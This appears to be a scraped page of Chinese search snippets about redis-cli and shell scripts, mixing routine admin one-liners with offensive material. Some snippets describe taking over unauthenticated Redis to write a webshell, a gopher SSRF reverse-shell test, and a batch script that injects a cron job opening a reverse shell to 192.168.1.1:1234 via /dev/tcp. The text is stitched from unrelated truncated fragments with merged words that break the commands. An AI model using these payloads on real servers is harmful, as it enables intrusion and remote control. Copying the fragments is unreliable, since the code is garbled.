测试之前,先关闭所有 Redis 服务器:sudopkill -9redis-server 关闭单台服务器 redis-cli -p <port> -a <requirepass>shutdown 用法: . ./demo-redis.sh-connect EOFfunctionshutdowns(){sleep5forportin"$@"doredis-cli -p $port shutdowndone} ###+++++++++++++++++++++++++++++++++++++#...
Redis提供了redis-cli、redis-server、redis-benchmark等Shell工具。它们 虽然比较简单,但是麻雀虽小五脏俱全,有时可以很巧妙地解决一些问题 一、redis-cli 在前面数据库连接的时候已经redis-cli的-h、-p参数,除了这些参数,还有很多有用的参数,要了解redis-cli的全部参数,可以执行redis-cli-help命令来进行查看 下面将...
0x01 redis端口探测 6379 判断时,使用python客户端进行扫描,或者直接在浏览器上访问6379查看banner信息: 0x02 本地装一个cli 运行redis-cli -h [hostname] -p [port] 比如10.10.10.1的6379是开放的,那么连接: redis-cli -h 10.10.10.1进入redis的交互shell。 0x03 利用redis写入shell 条件: (1)redis服务器...
redis-cli-hlocalhostping&>/dev/null;thenecho"Failed to connect to Redis server"exit1fi 1. 2. 3. 4. 5. 6. 7. 在上面的代码中,我们通过判断redis-cli ping命令的返回值是否为空,来检测是否成功连接到Redis服务器。如果连接失败,则输出错误信息并退出脚本。 类图 下面是连接Redis的shell脚本的类图表示...
主要写入redis的脚本是通过python完成的,该shell只是处理这些数据变成redis命令的格式 注意点:shell也可以使用pipeline写入redis,但是缺点是速度慢且redis-cli版本和redis版本不一致时会有数据写入失败 #!/bin/bash#Redis 数据库连接信息REDIS_HOST=""REDIS_PORT=""REDIS_PASSWORD=""DATABASE=1#SQL 文件路径SQL_FILE=...
redis-cli -p 6393 -n 1 keys "detail_*" | xargs -i redis-cli -p 6393 -n 1 move {} 0 获取key为user_client_device.开头的set数据 redis-cli -a xxx -n 1 keys "user_client_device.*" | xargs -i redis-cli -a xxx -n 1 smembers {}...
redis-cli -h 127.0.0.1 monitor 执行结果为下图,说明redis接收到了来自gopher的请求,但没有命令回显,为什么?(需要在命令后面加QUIT,后面会用到)。 虽然无法回显命令执行的结果,但是命令确实是执行了,接下来测试下反弹shell(没有用上面讲的redis的数据包格式,下面的格式也可以),命令如下: ...
Shell脚本批量反弹 条件: 客户端上装了redis-cli #!/bin/bash getshell(){ echo "---分割线---"redis-cli -h$i 2>&1 <<eeooff config get dir config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config ...
实际工作中几乎每天经常用到redis-cli管理redis实例, 一些重复性的操作习惯用shell脚本流程执行,之前写了个redis-cli的快捷连接脚本,省掉了不少不必要的时间,昨晚抽空闲时间扩展了一下部分功能, 脚本很简单,后续有时间会针对多实例管理加入更多实用功能和批处理redis实例功能。少量服务器暂时用shell实现满足一般操作需求...
redis-bash-cli 这个是客户端的脚本,可以把数据publish过去 #!/bin/bash source /usr/share/redis-bash/redis-bash-lib 2>/dev/null if [ $? -ne 0 ]; then LIBFOLDER=${0%/${0##*/}} source ${LIBFOLDER}/redis-bash-lib 2>/dev/null ...